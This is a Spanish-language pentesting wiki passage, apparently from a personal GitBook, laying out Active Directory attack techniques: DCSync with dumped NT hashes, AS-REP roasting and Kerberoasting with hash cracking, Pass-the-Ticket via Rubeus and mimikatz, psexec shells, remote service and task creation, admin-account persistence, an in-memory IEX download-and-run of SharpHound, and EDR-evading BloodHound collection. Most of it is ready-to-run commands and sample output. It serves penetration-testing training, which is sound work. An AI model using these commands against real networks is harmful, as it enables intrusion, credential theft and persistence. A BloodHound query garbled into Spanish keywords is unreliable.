wget "https://raw.githubusercontent.com/xtormin/CyberSnippets/refs/heads/main/network/swap-dns.sh"
```

{% endcode %}

```bash
bash swap-dns.sh 10.200.80.101
```

* Windows:

{% code overflow="wrap" %}

```powershell
wget "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/network/Swap-DNS.ps1"
```

{% endcode %}

Ejecutar con privilegios de administrador:

```powershell
.\Swap-DNS.ps1 -NewPrimaryDNS 10.200.80.101
```

Para comprobar en ambos casos que está configurado correctamente, hacer `nslookup` del dominio, siendo por ejemplo `xtormin.local`:

```bash
nslookup dc.xtormin.local
```

Si se resuelve correctamente el dominio, se encuentra bien configurado.

### Añadir registro DNS manualmente

Si no es posible cambiar la configuración DNS, se pueden añadir los registros a mano en el sistema. No obstante, solo se recomienda para casos puntuales, ya que no es viable realizarlo con una gran cantidad de hosts y además, puede dar lugar a fallos en la explotación de vulnerabilidades.

* Kali:

```bash
echo "10.200.80.201 web.xtormin.local" > /etc/hosts
```

* Windows:

{% code overflow="wrap" %}

```powershell
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "`n10.200.80.201 web.xtormin.local"
```

{% endcode %}

## <mark style="color:red;">Enumeración manual</mark>

### [Enumeración manual](/pentesting-en-infraestructuras/red-interna/active-directory/enumeracion-manual)

## <mark style="color:red;">Enumeración automatizada</mark>

### BloodHound

[BloodHound](/pentesting-en-infraestructuras/red-interna/active-directory/bloodhound)

## <mark style="color:red;">Ataques</mark>

### <mark style="color:red;">Password Spraying</mark>

Identificar cuentas con el contador de intentos fallidos no nulos (es decir, que ya han agotado algún intento de inicio de sesión): [#enumerar-cuentas-que-cuenten-con-un-badpwdcount-greater-than-0](#enumerar-cuentas-que-cuenten-con-un-badpwdcount-greater-than-0 "mention")

{% code overflow="wrap" %}

```powershell
ldapsearch -x -h <DC_IP> -b "CN=Default Domain Policy,CN=System,DC=domain,DC=local"
```

{% endcode %}

### ADCS - Certificados vulnerables

<https://github.com/GhostPack/Certify?tab=readme-ov-file#compile-instructions>

Binarios complilados: <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git>

```powershell
Certify.exe find /vulnerable
```

### DCsync

Este ataque permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. Esto puede ser utilizado por un atacante para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear *Golden Tickets*.

Por ejemplo:

* Si un usuario `SVC-TEST` es miembro de `SERVICE ACCOUNTS`, `PRIVILAGED IT ACCOUNTS` y `ACCOUNTS OPERATORS`.
* Los miembros del grupo `ACCOUNT OPERATORS` tienen privilegios **GenericAll** sobre el grupo `EXCHANGE WINDOWS PERMISSIONS`. Esto significa que tenemos control total para manipular cualquier objeto de destino.
* Los miembros del grupo `EXCHANGE WINDOWS PERMISSIONS` tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominio `XTORMINCORP.LOCAL`. Esto significa que podemos otorgarnos el privilegio de **DcSync**.
* Con este privilegio se podría llevar acabo un ataque de **DCSync**.

Teniendo en cuenta este ejemplo, se crea un usuario en el dominio y se le añade al grupo que cuenta con privilegios de escritura sobre DACL:

```powershell
net user xtormin xtormin /add /domain
net group "Exchange Windows Permissions" xtormin /add /domain
net group "Exchange Windows Permissions"
```

Se le da permisos de DCSync al usuario creado:

{% code overflow="wrap" %}

```powershell
$SecPassword = ConvertTo-SecureString 'xtormin' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('XTORMINCORP\xtormin', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=xtormincorp,DC=local" -PrincipalIdentity xtormin -Rights DCSync
```

{% endcode %}

Y se obtienen los hashes de los usuarios:

```powershell
impacket-secretsdump xtormincorp.local/xtormin:xtormin@192.168.1.100
```

<pre><code>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
xtormincorp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<a data-footnote-ref href="#user-content-fn-1">32693b11e6aa90eb43d32c72a07ceea6</a>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xtormincorp.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</code></pre>

Con netexec se puede verificar a qué hosts tiene acceso el usuario administrador haciendo uso del hash obtenido anteriormente:

```
netexec smb 192.168.1.100 -u <usuario> -H <nthash>
netexec smb 192.168.1.100 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
```

Se obtiene una shell usando psexec:

{% code overflow="wrap" %}

```powershell
impacket-psexec -hashes 32693b11e6aa90eb43d32c72a07ceea6:32693b11e6aa90eb43d32c72a07ceea6 administrator@192.168.1.100
```

{% endcode %}

### AS-REP Roasting - Autenticación de kerberos no requerida

Este ataque explota cuentas que no requieren la preautenticación Kerberos. Si un usuario tiene esta opción deshabilitada, un atacante puede solicitar un ticket de autenticación (TGT) para ese usuario y recibir un mensaje cifrado con su contraseña, que puede ser crackeado offline.

```bash
impacket-GetNPUsers -no-pass -dc-ip <IP del DC> <dominio>/<usuario>
```

{% code overflow="wrap" %}

```bash
for user in $(cat creds/usernames.txt); do impacket-GetNPUsers -no-pass -dc-ip 192.168.1.10 xtormincorp/${user} | grep -v Impacket; done
```

{% endcode %}

{% code overflow="wrap" %}

```bash
[*] Getting TGT for svc-test
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
```

{% endcode %}

Se crea un fichero "svc-test.hc18200" con el contenido del ticket:

{% code overflow="wrap" %}

```
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
```

{% endcode %}

Se intenta crackear el hash, por ejemplo, con un diccionario:

```bash
hashcat -m 18200 hash/svc-test.hc18200 /usr/share/wordlists/rockyou.txt --force
```

{% hint style="success" %} <mark style="color:green;">**MITIGACIÓN**</mark>

* [ ] Comprobar que la opción "Do not require Kerberos preauthentication" esté desmarcada en todas las cuentas del AD.
* [ ] Configurar una alerta que permita detectar cuando un usuario solicite un TGT sin preautenticación.
* [ ] Por si se diera el caso de que una cuenta se viera afectada, prevenirlo con una política de contraseñas robusta.
  {% endhint %}

### Kerberoasting

Se solicita un **TGS (Ticket Granting Service)** para las cuentas de servicio que tienen SPNs asociados y se crackean los tickets para obtener la contraseña. El éxito del ataque dependerá de la complejidad de la contraseña del servicio.

* Enumeración de cuentas con SPN:

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Get-DomainUser -SPN
```

* Solicitud de tickets TGS:

Desde windows:

{% code overflow="wrap" %}

```powershell
Get-netuser -SPN | Get-DomainSPNTicket -outputformat Hashcat | Select-Object samaccountname,Hash | ConvertTo-Csv -NoTypeInformation | Select-object -skip 1 > kerberoast.csv
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Add-Type -AssemblyName System.IdentityModelNew -ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Clase de servicio\Nombre de host:Puerto"
```

{% endcode %}

```powershell
git clone "https://github.com/PowerShellMafia/PowerSploit.git"
cd PowerSploit\Recon
Import-Module Recon

Invoke-Kerberoast -Domain active.htb -OutputFormat Hashcat | fl
```

Desde Kali:

{% code overflow="wrap" %}

```bash
IPDC='<IP del controlador de dominio'
python3 GetUserSPNs.py xtormincorp.local/svc_tgs:St2025 -dc-ip $IPDC -request -outputfile TGS_hash.txt
```

{% endcode %}

{% hint style="danger" %}
*Si se devuelve este **error**: **Kerberos SessionError: KRB\_AP\_ERR\_SKEW(Clock skew too great)**, se suele solucionar sincronizando el host con el DC:*&#x20;

```bash
IPDC='<IP del controlador de dominio'
ntpupdate $IPDC
```

{% endhint %}

Cracking de tickets:

* John:

```bash
john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt
```

* Hashcat:

```bash
hashcat -m 13100 --force <fichero con TGSs> <lista de contraseñas>
```

### Pass the Ticket - PTT

<https://github.com/GhostPack/Rubeus>

```powershell
.\Rubeus.exe dump
```

#### **Windows**

**Opción 1:** Se añade el ticket directamente en Base64:

```powershell
.\Rubeus.exe ptt /ticket:<Base64Ticket>
```

**Opción 2:** Se decodifica el código en Base64 en un fichero .kirbi que luego será inyectado desde la herramienta mimikatz:

{% code overflow="wrap" %}

```powershell
[IO.File]::WriteAllBytes("C:\Users\xtormin\Desktop\teresa.kirbi", [Convert]::FromBase64String("<Base64Ticket>"))
```

{% endcode %}

```powershell
.\mimikatz.exe
```

```powershell
kerberos:ptt C:\Users\xtormin\Desktop\teresa.kirbi
```

**Opción 3:** Se crea un ticket TGT haciendo uso del *hash* del usuario:

{% code overflow="wrap" %}

```powershell
C:\AD\Tools\Rubeus.exe -args asktgt /user:<usuario> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

C:\AD\Tools\Rubeus.exe -args asktgt /user:useradmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

{% endcode %}

Se enumeran los tickets disponibles:

```powershell
klist
```

Se inicia sesión:

```powershell
.\PsExec.exe -accepteula \\systm.xtormincorp.local powershell
```

#### **Linux**

<https://github.com/SolomonSklash/RubeusToCcache>

```bash
python rubeustoccache.py <Base64Ticket> ticket.kirbi ticket.ccache
```

```bash
export KRB5CCNAME=ticket.ccache
```

```bash
psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
smbexec.py <dominio>/<usuario>@<máquina> -k -no-pass
wmiexec.py <dominio>/<usuario>@<máquina> -k -no-pass
```

```bash
smbexec.py xtormincorp.local/xtormin@DC01.xtormincorp.local -k -no-pass
```

### Delegación

#### Delegación no restringida / Unconstrained Delegation

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>Powerview</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainComputer -Unconstrained | select -ExpandProperty name
</code></pre></td></tr></tbody></table>

#### Delegación restringida / Constained Delegation

Para identificar equipos que cuentan con el atributo `TrustedForDelegation` se puede usar el siguiente comando:

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>Powerview</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADComputer -Filter {TrustedForDelegation -eq $true}
</code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(&#x26;(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$search.FindAll() | ForEach-Object { $_.Properties.samaccountname }
</code></pre></td></tr></tbody></table>

Para obtener la lista completa y guardarla en un fichero CSV:

```powershell
# Script para obtener equipos con TrustedForDelegation y guardarlos en CSV
$date = Get-Date -Format "yyyyMMdd"
$outputFile = "trustedfordelegation_${date}_hosts.csv"

# Obtener los equipos con TrustedForDelegation habilitado
$computers = Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties Name,DNSHostName,Enabled,Description,OperatingSystem,TrustedForDelegation

# Seleccionar propiedades relevantes y exportar a CSV
$computers | Select-Object Name,DNSHostName,Enabled,Description,OperatingSystem,TrustedForDelegation | 
Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8

Write-Host "Datos exportados correctamente a $outputFile"
```

Si solo se quiere hacer de una lista de hosts en concreto:

{% code overflow="wrap" %}

```powershell
# Script para consultar TrustedForDelegation solo de los hosts listados en scope.txt
$date = Get-Date -Format "yyyyMMdd"
$outputFile = "trustedfordelegation_${date}_hosts.csv"
$scopeList = Get-Content "scope.txt"

$results = foreach ($fqdn in $scopeList) {
    $computer = Get-ADComputer -Filter {DNSHostName -eq $fqdn} -Properties Name, DNSHostName, Enabled, Description, OperatingSystem, TrustedForDelegation
    if ($computer) {
        [PSCustomObject]@{
            Name                   = $computer.Name
            DNSHostName           = $computer.DNSHostName
            Enabled               = $computer.Enabled
            Description           = $computer.Description
            OperatingSystem       = $computer.OperatingSystem
            TrustedForDelegation  = $computer.TrustedForDelegation
        }
    }
}

# Exportar resultados
$results | Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8

Write-Host "Datos exportados correctamente a $outputFile"
```

{% endcode %}

## <mark style="color:red;">Movimiento lateral</mark>

### Conexiones remotas

[Misc](/pentesting-en-infraestructuras/misc#conexion-remota)

### SC

* **Puerto:**&#x20;
  * `135/tcp` & `49152-65535/ TCP` (DCE/RPC)
  * `445/tcp` (RPC sobre canales con nombre SMB )
  * `139/tcp` (RPC sobre canales con nombre SMB )
* **Grupo requerido:** Administradores

{% code overflow="wrap" %}

```powershell
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
```

{% endcode %}

```powershell
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
```

**Creación remota de tareas programadas**

{% code overflow="wrap" %}

```powershell
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s TARGET /run /TN "THMtask1" 
```

{% endcode %}

```powershell
schtasks /S TARGET /TN "THMtask1" /DELETE /F
```

## <mark style="color:red;">Persistencia</mark>

### Creación de usuarios

Creación de un usuario administrador:

```bash
net user xtormin "password" /add
net localgroup Administradores xtormin /add
```

## <mark style="color:red;">Casos de ataque</mark>

### Ejemplo 1 - Máquinas con acceso privilegiado + PTT

(aka. Derivative Local Admin + PTT)

Teniendo un acceso previo con un "Usuario A" del dominio sin privilegios en la "Máquina A":

* Se enumeran todas las máquinas en las que se tiene acceso de administrador local "*Find-LocalAdminAccess*".&#x20;

```
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
```

* Se obtiene una "Máquina B" y se accede vía [PSExec](https://learn.microsoft.com/es-es/sysinternals/downloads/psexec), SMBExec, etc.

```
psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
```

* Se extraen los tickets disponibles en la máquina, por ejemplo, haciendo uso de Rubeus o Mimikatz.

```
.\Rubeus.exe dump
```

* Se carga el ticket *krbtgt* de un "Usuario B" (de la "Máquina B") en la "Máquina A" (dentro del dominio) o en una "Máquina C" (fuera del dominio).

&#x20;[#kerberos-pass-the-ticket-ptt](#kerberos-pass-the-ticket-ptt "mention")

* Se accede a la "Máquina B" con el ticket, suplantando la identidad del "Usuario B".

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fq3rqNv0cuESgJLqTnWAu%2Fimage.png?alt=media&amp;token=5970b26b-994a-402f-9535-f6e54c6f213d" alt=""><figcaption><p>Ejemplo 1 - Esquema de ataque</p></figcaption></figure>

## <mark style="color:red;">Referencias</mark>

* <https://gist.github.com/shorefall/cb9733f3aaf666d7db94e69dcd8b1e44>
* <https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70>
* <https://gist.github.com/MHaggis/df2de612615ef6bd01ea936cc8351ab2>
* <https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-ticket>
* <https://wadcoms.github.io/#+Privilege%20Escalation>
* <https://medium.com/r3d-buck3t/attacking-service-accounts-with-kerberoasting-with-spns-de9894ca243f>
* <https://r3dbuck3t.notion.site/Windows-Active-Directory-Pentest-Methodology-e8b133fb1342403aabde337b82f66fbd>

[^1]: nthash


# BloodHound

BloodHound es una herramienta que utiliza la teoría de grafos para mapear relaciones entre usuarios, grupos, equipos y permisos en AD.

Su enfoque basado en grafos permite visualizar relaciones y permisos dentro de un entorno Active Directory (AD) de forma clara y precisa, permitiendo identificar rutas de ataque.

Cuenta con una GUI que modela **entidades y relaciones AD** a partir de datos de sus *ingestors* (SharpHound) y permite calcular **caminos más cortos a objetivos** como *Domain Admins*. Incluye consultas predefinidas y acepta **Cypher** personalizado.

Está formada por:

* **SharpHound**: recolector que obtiene información desde el entorno.
* **BloodHound GUI**: interfaz gráfica para visualizar e investigar rutas de ataque.
  * <https://github.com/BloodHoundAD/BloodHound>
* **Neo4j**: base de datos de grafos utilizada por BloodHound para almacenar los datos.

{% hint style="warning" %}
Para obtener los mejores resultados, sus versiones de Bloodhound y Sharphound deben ser compatibles.
{% endhint %}

## Descarga o subida de recolector

### Transferencia desde otro servidor

Si no se puede descargar desde el propio equipo windows por no contar con acceso a internet, se puede descargar `SharpHound.ps1` usando un servidor temporal desde un equipo que se encuentre en la misma red que el equipo víctima Windows.

* En el equipo controlado por el atacante:

```bash
python3 -m http.server 8000
```

Otros: [Misc](/pentesting-en-infraestructuras/misc#servidores-temporales)

* Desde el equipo windows víctima:

```powershell
iwr "https://192.168.1.110/SharpHound.ps1"
```

Otros: [Misc](/pentesting-en-infraestructuras/misc#transferencia-de-ficheros)

## Métodos de recolección

### SharpHound

<https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html>

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FCAHeGnZ8a1QtMaJjApsg%2Fimage.png?alt=media&amp;token=0cfb6631-6407-4b05-a28a-47ed7a4c5fba" alt=""><figcaption><p>Créditos de imagen: <a href="https://twitter.com/SadProcessor">https://twitter.com/SadProcessor</a></p></figcaption></figure>

#### Recolección desde Windows

{% hint style="danger" %}
Antes de ejecutar la herramienta, si hay AV, es necesario evadir la protección de AMSI: [/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass](https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass "mention")
{% endhint %}

Puedes usar `SharpHound.exe` o `SharpHound.ps1` para recolectar desde una máquina con acceso al dominio.

<https://github.com/SpecterOps/BloodHound/blob/main/docs/collect-data/ce-collection/sharphound.mdx>

#### EXE

{% code overflow="wrap" %}

```powershell
SharpHound.exe -c All

SharpHound.exe -c All --domain xtormincorp.local

# BloodHound Legacy
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\BloodHound-master\BloodHound-master\Collectors\SharpHound.exe -args --collectionmethods All

# BloodHound CE
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Sharphound\SharpHound.exe -
args --collectionmethods All
```

{% endcode %}

**Versión más sigilosa (OPSEC)**

* Evita métodos ruidosos como **RDP, DCOM, PSRemote, LocalAdmin**; **excluye DCs** para reducir alertas (MDI).
* Alternativa aún más sigilosa: **SOAPHound** (consulta ADWS en 9389, casi sin ruido de LDAP).

{% code overflow="wrap" %}

```powershell
# BloodHound Legacy
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SharpHound\SharpHound.exe -args --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets --excludedcs

# BloodHound CE
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SharpHound\SharpHound.exe -args --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets,CertServices --excludedcs
```

{% endcode %}

#### PowerShell

{% code overflow="wrap" %}

```powershell
git clone "https://github.com/SpecterOps/BloodHound-Legacy.git"
cd BloodHound-Legacy\Collectors
. .\SharpHound.ps1
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/refs/heads/master/Collectors/SharpHound.ps1')
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-BloodHound -CollectionMethod All -v 2
Invoke-BloodHound -CollectionMethod All -domain xtormincorp.local -ldapuser <usuario> -ldappass <contraseña> -v 2
```

{% endcode %}

```powershell
SharpHound.exe -c SessionLoop -s
```

Si el dominio es muy grande o se está en un entorno muy controlado por EDR o SOC. Es mejor realizar la recolección por partes:

* Si se quiere filtrar por OU:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -LDAPFilter "(CN=*,OU=New York,DC=Contoso,DC=Local)" -CollectionMethod ACL -ZipFilename OU_ACL_20250420 -Stealh
```

{% endcode %}

* ACLs:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod ACL -ZipFilename ACL_20250420 -Stealh
```

{% endcode %}

* Grupos:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod Group -ZipFilename Group_20250420 -Stealh
```

{% endcode %}

* LocalAdmin:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod LocalAdmin -ZipFilename LocalAdmin_20250420 -Stealh
```

{% endcode %}

#### Recolección remota desde Kali

Desde una máquina Kali se pueden hacer uso de las credenciales de los usuarios víctima para enumerar la información del AD:

<https://medium.com/@e.escalante.jr/active-directory-workshop-even-more-server-enumeration-using-the-bloodhound-tool-pt-9-d4138f505b9b>

{% code overflow="wrap" %}

```bash
bloodhound-python -u $USER -d xtormincorp.local -c all -v -ns <dns server  or dc>
```

{% endcode %}

Este método es ideal cuando tienes credenciales, pero no acceso a una máquina Windows.

### SOAPHound

Consulta **Active Directory Web Services (ADWS)** en el **puerto 9389/TCP** (igual que el módulo oficial *ActiveDirectory* de Microsoft), en lugar de bombardear LDAP.

Hace **muy pocas peticiones de red**: primero **construye una caché** básica de objetos del dominio y luego procesa **localmente**.

Por lo tanto, **menos señales para MDI/EDR** basadas en tráfico LDAP/SMB.

Al usarlo es mejor realizarlo en dos pasos:

1. Construir la caché:

```
SOAPHound.exe --buildcache -c C:\AD\Tools\cache.txt
```

{% hint style="info" %}
Crea `cache.txt` con **info básica** de objetos del dominio (GUID, DN, tipos, etc.).

Úsalo en varias máquinas/sesiones para no repetir enumeración de red.
{% endhint %}

2. Volcar los datos en formato compatible con BloodHound:

{% code overflow="wrap" %}

```powershell
SOAPHound.exe -c C:\AD\Tools\cache.txt --bhdump -o C:\AD\Tools\bloodhound-output --nolaps
```

{% endcode %}

{% hint style="danger" %}
**ADWS no accesible (9389)**: el DC puede tener **ADWS deshabilitado** o un FW bloqueando el puerto. Comprueba conectividad al 9389/TCP desde tu host.
{% endhint %}

### AzureHound

Conexión e importación: [Herramientas](/pentesting-en-infraestructuras/cloud/azure/herramientas#azurehound)

```powershell
$passwd = ConvertTo-SecureString "<contraseña>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<email>", $passwd)
Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds
```

```powershell
. C:\Pentest\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
```

## Ingesta y visualización de datos - BloodHound

En entornos corporativos de gran tamaño, la arquitectura de Active Directory suele mantenerse bastante estable. Aunque pueda haber ciertos cambios como nuevas incorporaciones o ajustes menores, **la estructura principal de unidades organizativas (OUs), usuarios, grupos y permisos rara vez sufre modificaciones drásticas**.

Lo que sí cambia constantemente es otra cosa: **las sesiones activas de los usuarios y los eventos de autenticación**. Como Sharphound realiza una recopilación puntual del estado del dominio, **la información relacionada con sesiones puede volverse obsoleta con rapidez**, especialmente si los usuarios cierran sesión o si otras cuentas inician nuevas sesiones tras la recolección de datos.

#### Estrategia de ejecución recomendada

Para mantener una visión precisa y actual del entorno, es recomendable:

* Realizar una primera ejecución de Sharphound utilizando `--CollectionMethods All`, lo cual capturará toda la información relevante del dominio (estructura, permisos, relaciones, etc.).
* Posteriormente, realizar ejecuciones periódicas únicamente del método `Session`, que se enfoca exclusivamente en detectar nuevas sesiones de usuario sin volver a recopilar toda la estructura AD.

#### Cuándo es mejor hacerlo

El momento ideal para capturar sesiones activas suele ser:

* **A media mañana (sobre las 10:00)**, cuando los usuarios ya han iniciado su jornada laboral.
* **Después del almuerzo (alrededor de las 15:00-16:00)**, justo antes de que comiencen a conectarse de nuevo tras volver de haber comido.

#### Limpieza de datos antiguos

Sharphound no elimina sesiones anteriores automáticamente, por lo que es buena idea purgar la información obsoleta antes de cargar nuevos datos. Desde BloodHound, accede a la pestaña **"Database Info"** y utiliza la opción **"Clear Session Information"** para mantener la base de datos limpia y centrada en sesiones realmente activas.

<https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html>

### Windows

<https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart>

### Linux

<https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart>

1. Instala BloodHound:

{% code overflow="wrap" %}

```bash
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
```

{% endcode %}

2. Abre la GUI de BloodHound.

```
http://127.0.0.1:8080/ui/login
```

3. Descarga el collector:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Ffg5Yez2fC6jtbpJKEjJB%2Fimage.png?alt=media&amp;token=2ceb255e-33ea-4da5-ba7b-a480b3a616e6" alt=""><figcaption></figcaption></figure>

4. Desde `Administration > File Ingest` se cargará el fichero ZIP con los datos.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FG1N6kEue6cvH8atYXbr0%2Fimage.png?alt=media&amp;token=a947ae66-b2a0-4c4b-ab93-7305efb19a1e" alt=""><figcaption></figcaption></figure>

### Consultas de datos

#### Consultas Azure

* Buscar todos los usuarios que tengan el rol de "Global Administrator":

```xquery
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
```

* Todas las rutas a las máquinas virtuales:

```xquery
MATCH p = (n)-[r]->(g: AZVM) RETURN p
```

* Todas las rutas hacia "Azure KeyVaults":

```xquery
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
```

* Todas las rutas hacia "Azure Resource Group":

```xquery
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
```

* Buscar los Owners de "Azure Groups":

```xquery
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
```

* Obtener todos los equipos con delegación sin restricciones que no forman parte del grupo de controladores de dominio:

{% code overflow="wrap" %}

```xquery
COINCIDIR (dc:Computer)-[:MemberOf*1..]->(g:Group) DONDE g.objectsid TERMINA CON "516" CON COLLECT(dc) como domainControllers COINCIDIR p = (d:Domain)-[:Contains*1..]->(c:Computer {unconstraineddelegation:true}) DONDE NO c en domainControllers DEVUELVE c
```

{% endcode %}

## Consejos

* **Cuando comprometas un usuario o máquina, márcalo como Owned (Mark User as Owned).**
  * Muchas consultar integradas utilizan esta propiedad del nodo para identificar caminos más cortos desde los principios que se poseen hasta ojetivos de alto valor.
  * Se muestran las acciones que se pueden ejecutar a continuación a partir de dichos nodos.
* **Marcar otros objetivos como de alto valor.**&#x20;
  * Por ejemplo, los equipos con delegación sin restricciones no se marcan como de alto valor. Sin embargo, si comprometes solo uno de ellos dentro de un dominio, eres el administrador del dominio.
  * Adaptación al contexto, un servidor SQL que almacene información altamente sensible de acuerdo a la naturaleza de la organización puede ser de alto valor para la organización.

## Referencias

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux>
* <https://medium.com/@riccardo.ancarani94/bloodhound-tips-and-tricks-e1853c4b81ad>


# Captura de hashes en red

Spoofing & relay attacks

<h2 align="center">Identificación de uso NTLM</h2>

### Visualización de eventos

